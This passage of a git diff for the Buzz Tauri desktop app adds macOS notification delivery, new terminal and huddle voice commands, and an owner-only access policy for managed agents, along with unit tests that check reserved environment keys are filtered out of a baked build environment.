tray_menu::show_main_window; -#[cfg(target_os = "macos")] -const INITIAL_RENDER_READY_EVENT: &str = "initial-render-ready"; - -fn reveal_initial_window(window: &tauri::Window) { - if let Err(error) = window.show() { - eprintln!("buzz-desktop: failed to reveal main window: {error}"); - return; - } - if let Err(error) = window.set_focus() { - eprintln!("buzz-desktop: failed to focus main window: {error}"); - } -} - -#[cfg(target_os = "macos")] -fn set_initial_window_backing(window: &tauri::Window) { - // The window remains transparent at runtime for vibrancy. Use an opaque - // native backing only across the first visible frames so the previous app - // cannot show through before WebKit has submitted its first surface. - if let Err(error) = window.set_background_color(Some(tauri::window::Color(17, 21, 24, 255))) { - eprintln!("buzz-desktop: failed to set initial window backing: {error}"); - } -} - -#[cfg(target_os = "macos")] -async fn clear_initial_window_backing(window: &tauri::Window) { - tokio::time::sleep(std::time::Duration::from_millis(250)).await; - if let Err(error) = window.set_background_color(None) { - eprintln!("buzz-desktop: failed to clear initial window backing: {error}"); - } -} - -#[cfg(target_os = "macos")] -async fn wait_for_stable_initial_window_geometry(window: &tauri::Window) { - const MAX_POLLS: usize = 120; - const REQUIRED_STABLE_POLLS: usize = 4; - - let mut previous_bounds = None; - let mut stable_polls = 0; - - for _ in 0..MAX_POLLS { - // Accept whatever geometry the window-state plugin restores — maximized - // or a normal saved size. macOS applies the restore asynchronously, so - // we only need consecutive identical outer bounds to know it settled. - // Gating on `is_maximized()` here would leave `bounds` permanently - // `None` for restored non-maximized windows and stall the reveal until - // the poll timeout. - let bounds = match (window.outer_position(), window.outer_size()) { - (Ok(position), Ok(size)) => Some((position.x, position.y, size.width, size.height)), - _ => None, - }; - - if bounds.is_some() && bounds == previous_bounds { - stable_polls += 1; - if stable_polls >= REQUIRED_STABLE_POLLS { - return; - } - } else { - stable_polls = 0; - } - previous_bounds = bounds; - - tokio::time::sleep(std::time::Duration::from_millis(16)).await; - } - - eprintln!("buzz-desktop: initial window geometry did not settle before reveal timeout"); -} - #[cfg_attr(mobile, tauri::mobile_entry_point)] pub fn run() { // mesh-llm's async chains (model download, node start/join) overflow @@ -172,7 +112,6 @@ pub fn run() { eprintln!("buzz-mesh: failed to build big-stack tokio runtime, using default: {error}"); } } - let builder = tauri::Builder::default() .plugin(tauri_plugin_single_instance::init(|app, argv, _cwd| { // Focus the existing window when a duplicate instance launches. @@ -354,10 +293,7 @@ pub fn run() { builder.plugin(tauri_plugin_updater::Builder::new().build()) }; - #[cfg(not(buzz_updater_enabled))] - let builder = builder; - - let app = builder + let app = app_menu::install(builder) .register_asynchronous_uri_scheme_protocol("buzz-media", |ctx, request, responder| { let app = ctx.app_handle().clone(); tauri::async_runtime::spawn(async move { @@ -371,10 +307,14 @@ pub fn run() { .manage(BuilderlabSession::default()) .manage(BuilderlabLogin::default()) .manage(commands::pairing::PairingHandle::new()) + .manage(terminal_runtime::TerminalSessions::default()) .setup(move |app| { let app_handle = app.handle().clone(); #[cfg(target_os = "macos")] - tray_menu::init(&app_handle)?; + { + tray_menu::init(&app_handle)?; + macos_notifications::init(&app_handle)?; + } // ── Phase 2: boot-time sentinel wipe ────────────────────────────── // Must run before migrations and identity resolution so the wipe @@ -467,6 +407,18 @@ pub fn run() { *guard = Some(app_handle.clone()); } + let (tts_settings, tts_settings_load_error) = + huddle::tts_settings::load_for_app(&app_handle); + if let Ok(mut guard) = state.huddle_audio.tts.lock() { + *guard = tts_settings.clone(); + } + if let Ok(mut guard) = state.huddle_audio.tts_load_error.lock() { + *guard = tts_settings_load_error; + } + if let Ok(mut huddle) = state.huddle_state.lock() { + huddle.tts_enabled = tts_settings.agent_text_to_speech; + } + // Bring up the runtime-owned shared-compute coordinator before // saved agents are restored. Its lifetime is tied to the app, not // a UI mount; it publishes discovery and reconciles membership for @@ -650,10 +602,18 @@ pub fn run() { } }); } - Ok(()) }) .invoke_handler(tauri::generate_handler![ + terminal_runtime::terminal_attach, + terminal_runtime::terminal_detach, + terminal_runtime::terminal_close, + terminal_runtime::terminal_input, + terminal_runtime::terminal_resize, + terminal_runtime::terminal_scroll, + terminal_runtime::terminal_ack, + terminal_runtime::terminal_viewport_ready, + terminal_runtime::terminal_focus, take_pending_community_deep_link, acknowledge_pending_community_deep_link, start_builderlab_login, @@ -765,16 +725,25 @@ pub fn run() { remove_reaction, get_event, show_native_notification, + #[cfg(target_os = "macos")] + macos_notifications::take_pending_activations, + #[cfg(target_os = "macos")] + macos_notifications::notification_permission_state, + #[cfg(target_os = "macos")] + macos_notifications::request_notification_access, upload_media, pick_and_upload_media, pick_and_upload_image, upload_media_bytes, + upload_media_bytes_raw, + cancel_media_upload, download_image, save_png_data_url, download_file, fetch_media_bytes, copy_image_to_clipboard, copy_text_to_clipboard, + read_clipboard_text, fetch_snapshot_bytes, relay_requires_membership, list_relay_members, @@ -805,6 +774,7 @@ pub fn run() { get_managed_agent_log, get_agent_models, discover_agent_models, + agent_access_owner_only, get_agent_config_surface, get_runtime_file_config, get_baked_build_env_keys, @@ -839,6 +809,12 @@ pub fn run() { update_team, delete_team, export_agent_snapshot, + card_mint_key_status, + card_mint_save_openai_key, + mint_agent_card, + save_agent_card, + list_agent_cards, + load_agent_card, preview_agent_snapshot_import, confirm_agent_snapshot_import, encode_agent_snapshot_for_send, @@ -870,6 +846,8 @@ pub fn run() { leave_huddle, end_huddle, get_huddle_state, + close_huddle_companion, + open_huddle_window, push_audio_pcm, reconnect_huddle_audio, start_stt_pipeline, @@ -877,14 +855,27 @@ pub fn run() { download_voice_models, get_model_status, set_tts_enabled, + huddle::tts_settings::get_tts_settings, + huddle::tts_settings::list_voice_registry, + huddle::tts_settings::set_pocket_voice, + huddle::tts_settings::preview_pocket_voice, + huddle::tts_settings::import_pocket_voice, + huddle::tts_settings::delete_pocket_voice, + huddle::agent_voice::ensure_huddle_agent_voice_settings, + huddle::agent_voice::set_huddle_agent_tts_enabled, + huddle::agent_voice::set_huddle_agent_voice, speak_agent_message, + interrupt_huddle_speech, add_agent_to_huddle, + remove_agent_from_huddle, + huddle::agents::sync_agents_to_active_huddle, check_pipeline_hotstart, confirm_huddle_active, perform_sidebar_default_haptic, get_huddle_agent_pubkeys, set_voice_input_mode, get_voice_input_mode, + set_huddle_manual_mic_unmuted, list_audio_output_devices, set_audio_output_device, get_audio_output_device, @@ -925,7 +916,6 @@ pub fn run() { ]) .build(tauri::generate_context!()) .expect("error while building tauri application"); - let shutdown_done = Arc::new(AtomicBool::new(false)); #[cfg(unix)] @@ -950,6 +940,29 @@ pub fn run() { } } } + RunEvent::WindowEvent { + label, + event: WindowEvent::CloseRequested { .. }, + .. + } if label.starts_with("huddle-") => { + let is_active_huddle_window = + app_handle + .state::() + .huddle() + .ok() + .is_some_and(|huddle| { + !matches!(huddle.phase, HuddlePhase::Idle | HuddlePhase::Leaving) + && huddle + .ephemeral_channel_id + .as_deref() + .is_some_and(|channel_id| label == format!("huddle-{channel_id}")) + }); + if is_active_huddle_window { + if let Err(error) = app_handle.emit("huddle-companion-returned", ()) { + eprintln!("buzz-desktop: failed to restore huddle drawer: {error}"); + } + } + } RunEvent::ExitRequested { code, .. } => { if is_restart_request(code) { restart_requested.store(true, Ordering::SeqCst); diff --git a/desktop/src-tauri/src/macos_notifications.rs b/desktop/src-tauri/src/macos_notifications.rs new file mode 100644 index 0000000000..5bcedd8975 --- /dev/null +++ b/desktop/src-tauri/src/macos_notifications.rs @@ -0,0 +1,422 @@ +//! Modern macOS notification delivery and activation routing. +//! +//! Apple delivers every notification response through one process-wide +//! `UNUserNotificationCenterDelegate`. The delegate is installed once during +//! app setup and retained for the process lifetime. Notification targets live +//! in `userInfo`, so there are no per-notification listeners, waiter threads, +//! or request maps to leak when Notification Center clears a notification. + +use std::{ + collections::VecDeque, + path::Path, + ptr::NonNull, + sync::{mpsc, Mutex, OnceLock}, + time::Duration, +}; + +use block2::{Block, RcBlock}; +use objc2::{ + define_class, msg_send, + rc::Retained, + runtime::{AnyObject, Bool, ProtocolObject}, + AnyThread, DefinedClass, +}; +use objc2_foundation::{NSBundle, NSDictionary, NSError, NSObject, NSObjectProtocol, NSString}; +use objc2_user_notifications::{ + UNAuthorizationOptions, UNAuthorizationStatus, UNMutableNotificationContent, + UNNotificationDefaultActionIdentifier, UNNotificationPresentationOptions, + UNNotificationRequest, UNNotificationResponse, UNNotificationSettings, + UNUserNotificationCenter, UNUserNotificationCenterDelegate, +}; +use tauri::{AppHandle, Emitter}; + +use crate::commands::NATIVE_NOTIFICATION_ACTIVATED_EVENT; + +const TARGET_USER_INFO_KEY: &str = "buzzNotificationTarget"; +const MAX_PENDING_ACTIVATIONS: usize = 64; + +#[derive(Clone, Copy, Debug, PartialEq, Eq, serde::Serialize)] +#[serde(rename_all = "lowercase")] +pub(crate) enum NotificationPermissionState { + Default, + Denied, + Granted, +} + +fn permission_state(status: UNAuthorizationStatus) -> NotificationPermissionState { + match status { + UNAuthorizationStatus::Denied => NotificationPermissionState::Denied, + UNAuthorizationStatus::Authorized + | UNAuthorizationStatus::Provisional + | UNAuthorizationStatus::Ephemeral => NotificationPermissionState::Granted, + _ => NotificationPermissionState::Default, + } +} + +static PENDING_ACTIVATIONS: OnceLock>> = OnceLock::new(); + +struct NotificationDelegateIvars { + app: AppHandle, +} + +define_class!( + // SAFETY: NSObject permits AnyThread subclasses, and AppHandle is Send + + // Sync. Apple does not guarantee a queue for notification delegate calls; + // both Tauri operations used by the callbacks are thread-safe. + #[unsafe(super(NSObject))] + #[name = "BuzzNotificationCenterDelegate"] + #[thread_kind = AnyThread] + #[ivars = NotificationDelegateIvars] + struct NotificationDelegate; + + unsafe impl NSObjectProtocol for NotificationDelegate {} + + unsafe impl UNUserNotificationCenterDelegate for NotificationDelegate { + #[unsafe(method(userNotificationCenter:willPresentNotification:withCompletionHandler:))] + fn will_present_notification( + &self, + _center: &UNUserNotificationCenter, + _notification: &objc2_user_notifications::UNNotification, + completion_handler: &Block, + ) { + // Preserve the prior macOS behavior: keep foreground notifications + // in Notification Center without interrupting the user with a banner. + completion_handler.call((UNNotificationPresentationOptions::List,)); + } + + #[unsafe(method(userNotificationCenter:didReceiveNotificationResponse:withCompletionHandler:))] + fn did_receive_notification_response( + &self, + _center: &UNUserNotificationCenter, + response: &UNNotificationResponse, + completion_handler: &Block, + ) { + if &*response.actionIdentifier() == unsafe { UNNotificationDefaultActionIdentifier } { + if let Some(target) = target_from_response(response) { + queue_activation(target); + crate::tray_menu::show_main_window(&self.ivars().app); + if let Err(error) = self + .ivars() + .app + .emit(NATIVE_NOTIFICATION_ACTIVATED_EVENT, ()) + { + eprintln!( + "buzz-desktop: failed to emit macOS notification activation: {error}" + ); + } + } + } + + // Apple requires this for every response, including dismissals and + // malformed notifications that Buzz intentionally ignores. + completion_handler.call(()); + } + } +); + +impl NotificationDelegate { + fn new(app: AppHandle) -> Retained { + let delegate = Self::alloc().set_ivars(NotificationDelegateIvars { app }); + unsafe { msg_send![super(delegate), init] } + } +} + +/// Install the one application-lifetime notification response delegate. +pub(crate) fn init(app: &AppHandle) -> tauri::Result<()> { + if !is_bundled_application() { + // UNUserNotificationCenter raises an Objective-C exception when the + // current process has no application bundle (notably `tauri dev`). + // objc2 cannot turn that exception into a Rust error, so do not call + // into the framework at all in this environment. + eprintln!( + "buzz-desktop: macOS notifications disabled because the process is not running from an app bundle" + ); + return Ok(()); + } + + let center = UNUserNotificationCenter::currentNotificationCenter(); + let delegate = NotificationDelegate::new(app.clone()); + let delegate: Retained> = + ProtocolObject::from_retained(delegate); + center.setDelegate(Some(&delegate)); + + // UNUserNotificationCenter.delegate is weak. This object is deliberately + // process-lifetime state, matching the application-lifetime delegate Apple + // documents and avoiding mutable global or per-notification registrations. + std::mem::forget(delegate); + Ok(()) +} + +fn ensure_bundled_application() -> Result<(), String> { + if is_bundled_application() { + Ok(()) + } else { + Err( + "macOS notifications are unavailable when Buzz is not running from an app bundle" + .to_string(), + ) + } +} + +fn notification_permission_state_sync() -> Result { + ensure_bundled_application()?; + + let (sender, receiver) = mpsc::sync_channel(1); + let handler = RcBlock::new(move |settings: NonNull| { + // SAFETY: Apple guarantees a live UNNotificationSettings object for + // the duration of this completion handler. + let status = unsafe { settings.as_ref() }.authorizationStatus(); + let _ = sender.send(permission_state(status)); + }); + UNUserNotificationCenter::currentNotificationCenter() + .getNotificationSettingsWithCompletionHandler(&handler); + + receiver + .recv_timeout(Duration::from_secs(10)) + .map_err(|_| "macOS notification settings request timed out".to_string()) +} + +#[tauri::command] +pub(crate) async fn notification_permission_state() -> Result { + tokio::task::spawn_blocking(notification_permission_state_sync) + .await + .map_err(|error| format!("macOS notification settings task failed: {error}"))? +} + +fn request_notification_access_sync() -> Result { + ensure_bundled_application()?; + + let (sender, receiver) = mpsc::sync_channel(1); + let handler = RcBlock::new(move |_granted: Bool, error: *mut NSError| { + let result = match unsafe { error.as_ref() } { + Some(error) => Err(format!("macOS notification authorization failed: {error}")), + None => Ok(()), + }; + let _ = sender.send(result); + }); + UNUserNotificationCenter::currentNotificationCenter() + .requestAuthorizationWithOptions_completionHandler( + UNAuthorizationOptions::Alert | UNAuthorizationOptions::Sound, + &handler, + ); + + receiver + .recv_timeout(Duration::from_secs(60)) + .map_err(|_| "macOS notification authorization request timed out".to_string())??; + notification_permission_state_sync() +} + +#[tauri::command] +pub(crate) async fn request_notification_access() -> Result { + tokio::task::spawn_blocking(request_notification_access_sync) + .await + .map_err(|error| format!("macOS notification authorization task failed: {error}"))? +} + +fn show_sync( + title: String, + body: Option, + target: Option, +) -> Result<(), String> { + ensure_bundled_application()?; + if notification_permission_state_sync()? != NotificationPermissionState::Granted { + return Err("macOS notification permission is not granted".to_string()); + } + + let content = UNMutableNotificationContent::new(); + content.setTitle(&NSString::from_str(&title)); + if let Some(body) = body { + content.setBody(&NSString::from_str(&body)); + } + + if let Some(target) = target { + let serialized = serde_json::to_string(&target) + .map_err(|error| format!("failed to serialize notification target: {error}"))?; + let key = NSString::from_str(TARGET_USER_INFO_KEY); + let value = NSString::from_str(&serialized); + let user_info = NSDictionary::::from_slices(&[&*key], &[&*value]); + // SAFETY: Both the key and value are property-list-safe NSString values. + unsafe { + let user_info = + Retained::cast_unchecked::>(user_info); + content.setUserInfo(&user_info); + } + } + + let identifier = NSString::from_str(&uuid::Uuid::new_v4().to_string()); + let request = + UNNotificationRequest::requestWithIdentifier_content_trigger(&identifier, &content, None); + let (sender, receiver) = mpsc::sync_channel(1); + let delivery_handler = RcBlock::new(move |error: *mut NSError| { + let result = match unsafe { error.as_ref() } { + Some(error) => Err(format!("failed to deliver macOS notification: {error}")), + None => Ok(()), + }; + let _ = sender.send(result); + }); + UNUserNotificationCenter::currentNotificationCenter() + .addNotificationRequest_withCompletionHandler(&request, Some(&delivery_handler)); + + receiver + .recv_timeout(Duration::from_secs(10)) + .map_err(|_| "macOS notification delivery request timed out".to_string())? +} + +pub(crate) async fn show( + title: String, + body: Option, + target: Option, +) -> Result<(), String> { + tokio::task::spawn_blocking(move || show_sync(title, body, target)) + .await + .map_err(|error| format!("macOS notification delivery task failed: {error}"))? +} + +fn queue_activation(target: serde_json::Value) { + let queue = PENDING_ACTIVATIONS.get_or_init(Default::default); + let Ok(mut queue) = queue.lock() else { + eprintln!("buzz-desktop: macOS notification activation queue is unavailable"); + return; + }; + if queue.len() == MAX_PENDING_ACTIVATIONS { + queue.pop_front(); + } + queue.push_back(target); +} + +#[tauri::command] +pub(crate) fn take_pending_activations() -> Result, String> { + let queue = PENDING_ACTIVATIONS.get_or_init(Default::default); + let mut queue = queue + .lock() + .map_err(|_| "macOS notification activation queue is unavailable".to_string())?; + Ok(queue.drain(..).collect()) +} + +fn is_bundled_application() -> bool { + let bundle = NSBundle::mainBundle(); + bundle.bundleIdentifier().is_some() + && bundle.executablePath().is_some_and(|executable_path| { + is_application_bundle_layout( + Path::new(&bundle.bundlePath().to_string()), + Path::new(&executable_path.to_string()), + ) + }) +} + +fn is_application_bundle_layout(bundle_path: &Path, executable_path: &Path) -> bool { + let Some(macos_path) = executable_path.parent() else { + return false; + }; + let Some(contents_path) = macos_path.parent() else { + return false; + }; + + bundle_path + .extension() + .is_some_and(|extension| extension == "app") + && macos_path.file_name() == Some("MacOS".as_ref()) + && contents_path.file_name() == Some("Contents".as_ref()) + && contents_path.parent() == Some(bundle_path) +} + +fn target_from_response(response: &UNNotificationResponse) -> Option { + let user_info = response.notification().request().content().userInfo(); + let key = NSString::from_str(TARGET_USER_INFO_KEY); + let target = user_info.objectForKey(key.as_ref())?; + let target = target.downcast::().ok()?; + parse_target(&target.to_string()) +} + +fn parse_target(serialized: &str) -> Option { + serde_json::from_str(serialized).ok() +} + +#[cfg(test)] +mod tests { + use super::{ + is_application_bundle_layout, is_bundled_application, parse_target, permission_state, + queue_activation, take_pending_activations, NotificationPermissionState, + MAX_PENDING_ACTIVATIONS, + }; + use objc2_user_notifications::UNAuthorizationStatus; + use std::path::Path; + + #[test] + fn activation_queue_is_bounded_and_drained() { + let _ = take_pending_activations(); + for index in 0..=MAX_PENDING_ACTIVATIONS { + queue_activation(serde_json::json!({ "index": index })); + } + + let activations = take_pending_activations().expect("activation queue"); + assert_eq!(activations.len(), MAX_PENDING_ACTIVATIONS); + assert_eq!(activations[0]["index"], 1); + assert!(take_pending_activations() + .expect("drained activation queue") + .is_empty()); + } + + #[test] + fn cargo_test_process_is_not_treated_as_bundled() { + assert!(!is_bundled_application()); + } + + #[test] + fn requires_the_executable_to_use_the_app_bundle_layout() { + assert!(is_application_bundle_layout( + Path::new("/Applications/Buzz.app"), + Path::new("/Applications/Buzz.app/Contents/MacOS/buzz-desktop"), + )); + assert!(!is_application_bundle_layout( + Path::new("/tmp/Fake.app"), + Path::new("/tmp/Fake.app/buzz-desktop"), + )); + assert!(!is_application_bundle_layout( + Path::new("/Users/developer/buzz/desktop/src-tauri/target/debug"), + Path::new("/Users/developer/buzz/desktop/src-tauri/target/debug/buzz-desktop"), + )); + assert!(!is_application_bundle_layout( + Path::new("/Applications/Buzz.app"), + Path::new("/Applications/Other.app/Contents/MacOS/buzz-desktop"), + )); + } + + #[test] + fn maps_native_authorization_states_to_frontend_contract() { + assert_eq!( + permission_state(UNAuthorizationStatus::NotDetermined), + NotificationPermissionState::Default + ); + assert_eq!( + permission_state(UNAuthorizationStatus::Denied), + NotificationPermissionState::Denied + ); + for status in [ + UNAuthorizationStatus::Authorized, + UNAuthorizationStatus::Provisional, + UNAuthorizationStatus::Ephemeral, + ] { + assert_eq!( + permission_state(status), + NotificationPermissionState::Granted + ); + } + } + + #[test] + fn parses_opaque_notification_target() { + let target = + parse_target(r#"{"channelId":"channel","eventId":"event","threadRootId":"root"}"#) + .expect("valid target"); + + assert_eq!(target["channelId"], "channel"); + assert_eq!(target["eventId"], "event"); + assert_eq!(target["threadRootId"], "root"); + } + + #[test] + fn rejects_malformed_notification_target() { + assert!(parse_target("not-json").is_none()); + } +} diff --git a/desktop/src-tauri/src/managed_agents/access_policy.rs b/desktop/src-tauri/src/managed_agents/access_policy.rs new file mode 100644 index 0000000000..2d8326abc3 --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/access_policy.rs @@ -0,0 +1,190 @@ +//! Distribution policy at managed-agent enforcement boundaries. +//! +//! ## What this build capability guarantees, and what it does not +//! +//! `BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY` marks a build whose managed agents may +//! answer only their owner. Enforcement is applied at the two boundaries where +//! Desktop hands access to something that runs the agent, and nowhere else. The +//! stored record and its relay-advertised access fields are left untouched, so +//! the same profile keeps its user-chosen access when it is opened in an OSS +//! build. +//! +//! Enforced: +//! +//! - **Local spawn.** [`build_respond_to_env_with_policy`] clamps +//! `BUZZ_ACP_RESPOND_TO` to `owner-only` and pins the independent +//! `BUZZ_ACP_ALLOWED_RESPOND_TO=owner-only` guard on every start, whatever +//! the record says. +//! - **Provider deployment, including upgrades.** +//! [`projected_access_with_policy`] projects owner-only into every payload. +//! Workspace apply redeploys each existing provider agent before the marked +//! build renders community UI. A failed redeploy fails the apply, so Desktop +//! does not present the locked owner-only control as applied while the remote +//! deployment may still use a wider policy. +//! +//! ## "owner-only" is owner plus verified same-owner sibling agents +//! +//! The harness gate this projection targets admits the human owner *and* every +//! cryptographically NIP-OA-verified agent that shares that owner (see +//! `crates/buzz-acp/src/lib.rs`). That is the intended boundary, not an +//! oversight: an owner's own agents are inside their trust boundary, and Buzz's +//! built-in Welcome team relies on it, because the lead instructs its teammates +//! while every teammate is created owner-only (see +//! `welcomeTeammateHasExpectedAccess` in +//! `desktop/src/features/onboarding/welcomeGuide.ts`). Read every use of +//! "owner-only" in this module as `owner ∪ verified same-owner agents`. The +//! setting's own copy says so: the line under Only me reads "Only you and your +//! agents can send instructions." (`RespondToField.tsx`). The dropdown label +//! stays "Only me", which is the audience the user picks. + +use super::{validate_respond_to_allowlist, ManagedAgentRecord, RespondTo}; + +pub(crate) type RespondToEnv = (Vec<(&'static str, String)>, Vec<&'static str>); + +/// Release packaging sets `BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY`; OSS/custom +/// builds do not. +pub(crate) fn owner_only_access_build() -> bool { + option_env!("BUZZ_DESKTOP_BUILD_AGENT_ACCESS_OWNER_ONLY").is_some() +} + +pub(crate) fn owner_only() -> bool { + owner_only_with_policy(owner_only_access_build()) +} + +pub(crate) fn owner_only_with_policy(owner_only_access: bool) -> bool { + owner_only_access +} + +/// Project effective access at a behavioral boundary without changing the +/// stored or relay-advertised access fields. +pub(crate) fn projected_access_with_policy( + record: &ManagedAgentRecord, + owner_only_access: bool, +) -> (RespondTo, Vec) { + if owner_only_with_policy(owner_only_access) { + (RespondTo::OwnerOnly, Vec::new()) + } else { + (record.respond_to, record.respond_to_allowlist.clone()) + } +} + +/// Build the inbound-author access environment for a launched agent. The +/// explicit policy input keeps owner-only access enforcement testable without +/// weakening the production caller's compile-time decision. +pub(crate) fn build_respond_to_env_with_policy( + record: &ManagedAgentRecord, + owner_hex: Option<&str>, + enforced_owner_only: bool, +) -> Result { + let (respond_to, _) = projected_access_with_policy(record, enforced_owner_only); + let normalized = validate_respond_to_allowlist(&record.respond_to_allowlist)?; + if respond_to == RespondTo::Allowlist && normalized.is_empty() { + return Err( + "respond-to mode 'allowlist' requires at least one pubkey in the allowlist".to_string(), + ); + } + + let mut set = vec![("BUZZ_ACP_RESPOND_TO", respond_to.as_str().to_string())]; + let mut remove = Vec::new(); + if enforced_owner_only { + set.push(( + "BUZZ_ACP_ALLOWED_RESPOND_TO", + RespondTo::OwnerOnly.as_str().to_string(), + )); + } else { + remove.push("BUZZ_ACP_ALLOWED_RESPOND_TO"); + } + if respond_to == RespondTo::Allowlist { + set.push(("BUZZ_ACP_RESPOND_TO_ALLOWLIST", normalized.join(","))); + } else { + remove.push("BUZZ_ACP_RESPOND_TO_ALLOWLIST"); + } + + if record.auth_tag.is_none() { + if let Some(owner) = owner_hex { + set.push(("BUZZ_ACP_AGENT_OWNER", owner.to_string())); + } else { + remove.push("BUZZ_ACP_AGENT_OWNER"); + } + } else { + remove.push("BUZZ_ACP_AGENT_OWNER"); + } + Ok((set, remove)) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::managed_agents::BackendKind; + + fn record(backend: BackendKind) -> ManagedAgentRecord { + let mut record: ManagedAgentRecord = serde_json::from_value(serde_json::json!({ + "pubkey": "agent", "name": "Agent", "relay_url": "", "acp_command": "", + "agent_command": "", "agent_args": [], "mcp_command": "", + "turn_timeout_seconds": 0, "system_prompt": null, "created_at": "", + "updated_at": "", "last_started_at": null, "last_stopped_at": null, + "last_exit_code": null, "last_error": null + })) + .unwrap(); + record.backend = backend; + record.respond_to = RespondTo::Anyone; + record.respond_to_allowlist = vec!["a".repeat(64)]; + record + } + + #[test] + fn owner_only_access_policy_rejects_malformed_stored_allowlist_before_clamping() { + let mut record = record(BackendKind::Local); + record.respond_to_allowlist = vec!["malformed stale allowlist".into()]; + + let error = build_respond_to_env_with_policy(&record, Some("owner"), true) + .expect_err("owner-only access policy accepted a malformed stored allowlist"); + + assert!( + error.contains("invalid pubkey in respond-to allowlist"), + "owner-only access policy returned the wrong malformed-allowlist error: {error}", + ); + } + + #[test] + fn owner_only_access_enforcement_clamps_local_and_provider() { + for (label, backend) in [ + ("local", BackendKind::Local), + ( + "provider", + BackendKind::Provider { + id: "p".into(), + config: serde_json::json!({}), + }, + ), + ] { + let record = record(backend); + let (gate_set, _) = + build_respond_to_env_with_policy(&record, Some("owner"), true).unwrap(); + let gate_set: std::collections::HashMap<_, _> = gate_set.into_iter().collect(); + assert_eq!( + gate_set.get("BUZZ_ACP_RESPOND_TO").map(String::as_str), + Some("owner-only"), + "owner-only runtime env did not clamp {label} agent", + ); + assert_eq!( + gate_set + .get("BUZZ_ACP_ALLOWED_RESPOND_TO") + .map(String::as_str), + Some("owner-only"), + "owner-only runtime env omitted the {label} agent guard", + ); + + let (respond_to, allowlist) = projected_access_with_policy(&record, true); + assert_eq!( + respond_to, + RespondTo::OwnerOnly, + "owner-only provider payload did not clamp {label} agent", + ); + assert!( + allowlist.is_empty(), + "owner-only provider payload retained {label} agent allowlist", + ); + } + } +} diff --git a/desktop/src-tauri/src/managed_agents/agent_env.rs b/desktop/src-tauri/src/managed_agents/agent_env.rs index bf6bcb2298..05979e76cb 100644 --- a/desktop/src-tauri/src/managed_agents/agent_env.rs +++ b/desktop/src-tauri/src/managed_agents/agent_env.rs @@ -58,6 +58,19 @@ fn build_env_map( } } } + // Defense in depth. `build.rs` already refuses to bake a reserved key, so + // reaching this filter means the binary was produced by a build that + // skipped that check. Drop the key rather than let it override the access + // gate: the baked map is written into the spawned agent's environment last + // (see `managed_agents/runtime.rs`), so a baked `BUZZ_ACP_RESPOND_TO` would + // otherwise win over the gate Desktop just set. + map.retain(|key, _| { + if super::env_vars::is_reserved_env_key(key) { + eprintln!("buzz-desktop: ignoring reserved env var `{key}` from the baked build env"); + return false; + } + true + }); map } @@ -356,4 +369,66 @@ mod tests { "unrelated merged_env keys must pass through unchanged" ); } + + // ── baked reserved-key filtering ────────────────────────────────────── + // + // The baked map is written into a spawned agent's environment LAST (see + // `managed_agents/runtime.rs`), after Buzz sets the access gates. If a + // baked reserved key survived here, an internal build packaged with + // `BUZZ_ACP_RESPOND_TO=anyone` would answer anyone while the UI shows + // "Only me". `build.rs` rejects such a key at build time; these tests pin + // the runtime backstop for a binary built without that check. + + #[test] + fn build_env_map_drops_baked_access_gate_keys() { + use base64::Engine as _; + let raw = "BUZZ_ACP_RESPOND_TO=anyone\nBUZZ_ACP_ALLOWED_RESPOND_TO=anyone\nBUZZ_ACP_RESPOND_TO_ALLOWLIST=deadbeef\nDATABRICKS_MODEL=goose-claude-opus-4-8"; + let blob = base64::engine::general_purpose::STANDARD.encode(raw.as_bytes()); + let map = build_env_map(None, None, Some(&blob)); + for key in [ + "BUZZ_ACP_RESPOND_TO", + "BUZZ_ACP_ALLOWED_RESPOND_TO", + "BUZZ_ACP_RESPOND_TO_ALLOWLIST", + ] { + assert!( + !map.contains_key(key), + "baked `{key}` must not reach the spawned agent env" + ); + } + assert_eq!( + map.get("DATABRICKS_MODEL").map(String::as_str), + Some("goose-claude-opus-4-8"), + "non-reserved baked keys must still pass through" + ); + } + + #[test] + fn build_env_map_drops_baked_reserved_keys_case_insensitively() { + use base64::Engine as _; + // `is_reserved_env_key` compares case-insensitively, and so must the + // baked filter: env lookup is case-sensitive on Unix, but a lowercase + // spelling would still be a reserved key smuggled past a case-sensitive + // check on Windows. + let raw = "buzz_acp_respond_to=anyone\nBuzz_Private_Key=nsec1fake"; + let blob = base64::engine::general_purpose::STANDARD.encode(raw.as_bytes()); + let map = build_env_map(None, None, Some(&blob)); + assert!( + map.is_empty(), + "reserved keys in any casing must be dropped from the baked env: {map:?}" + ); + } + + #[test] + fn build_env_map_drops_every_reserved_key() { + use base64::Engine as _; + for key in super::super::env_vars::RESERVED_ENV_KEYS { + let raw = format!("{key}=baked-value"); + let blob = base64::engine::general_purpose::STANDARD.encode(raw.as_bytes()); + let map = build_env_map(None, None, Some(&blob)); + assert!( + map.is_empty(), + "baked reserved key `{key}` must be dropped, got {map:?}" + ); + } + } } diff --git a/desktop/src-tauri/src/managed_agents/agent_snapshot.rs b/desktop/src-tauri/src/managed_agents/agent_snapshot.rs index 16a0d35b23..7c08e7095f 100644 --- a/desktop/src-tauri/src/managed_agents/agent_snapshot.rs +++ b/desktop/src-tauri/src/managed_agents/agent_snapshot.rs @@ -306,9 +306,22 @@ pub fn encode_snapshot_png( ); } - // Manifest → JSON → base64 for the tEXt chunk payload. + // Manifest → JSON for the tEXt chunk payload. The payload/PNG composition + // is shared with the locked-card encoder in `agent_snapshot_envelope`; + // plain cards remain byte-identical to the pre-envelope encoder. let json_bytes = encode_snapshot_json(snapshot)?; - let chunk_text = STANDARD.encode(&json_bytes); + encode_chunk_payload_png(&json_bytes, avatar_bytes) +} + +/// Encode arbitrary chunk-payload JSON (plain manifest or locked envelope) +/// into a PNG carrying it base64-encoded in the `buzz_agent_snapshot` tEXt +/// chunk. Shared by the plain encoder above and +/// `agent_snapshot_envelope::encode_locked_snapshot_png`. +pub(crate) fn encode_chunk_payload_png( + json_bytes: &[u8], + avatar_bytes: Option<&[u8]>, +) -> Result, String> { + let chunk_text = STANDARD.encode(json_bytes); // Use the avatar as the PNG image body, transcoding decodable non-PNG // avatars. Fall back to a minimal 1×1 transparent placeholder only when @@ -334,8 +347,11 @@ pub fn encode_snapshot_png( Ok(png_bytes) } -/// Decode a manifest from a `.agent.png` tEXt chunk. -pub fn decode_snapshot_png(png_bytes: &[u8]) -> Result { +/// Extract and base64-decode the raw `buzz_agent_snapshot` chunk payload +/// (JSON bytes) from 